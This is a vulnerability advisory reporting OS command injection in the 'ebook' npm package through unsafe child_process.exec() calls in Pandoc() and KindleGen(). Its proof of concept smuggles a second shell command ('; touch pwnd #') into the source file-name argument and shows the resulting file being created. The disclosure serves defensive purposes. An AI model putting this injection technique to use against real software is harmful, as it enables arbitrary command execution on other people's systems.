Summary
Affected versions of the ebook NPM
package are vulnerable to OS Command Injection due to unsafe usage of
child_process.exec() in Pandoc() and KindleGen().
Product
All versions of the ebook NPM package.
Impact
It’s possible to inject malicious shell code through Pandoc() and
KindleGen().
Steps to reproduce
root@3d3ee3a007b2:/poc# rm -f target/pwnd
root@3d3ee3a007b2:/poc# cat target/test.md
# hello
you've been pwnd
root@3d3ee3a007b2:/poc# cat poc.js
require('ebook')({
source: 'test.md > /dev/null; touch pwnd #',
folder: 'target'
});
root@3d3ee3a007b2:/poc# node poc.js
node:events:353
throw er; // Unhandled 'error' event
^
Error: ENOENT: no such file or directory, open 'test.md > /dev/null; touch pwnd #'
Emitted 'error' event on ReadStream instance at:
at emitErrorNT (node:internal/streams/destroy:188:8)
at emitErrorCloseNT (node:internal/streams/destroy:153:3)
at processTicksAndRejections (node:internal/process/task_queues:80:21) {
errno: -2,
code: 'ENOENT',
syscall: 'open',
path: 'test.md > /dev/null; touch pwnd #'
}
root@3d3ee3a007b2:/poc# ls -1 target/
pwnd
test.md
root@3d3ee3a007b2:/poc#Remediation
There are currently no fixed versions released. As a workaround, avoid passing
untrusted input into the vulnerable parameters when using the library.
Credit
This issue was discovered and reported by Checkmarx SCA Security Researcher
André Sá.
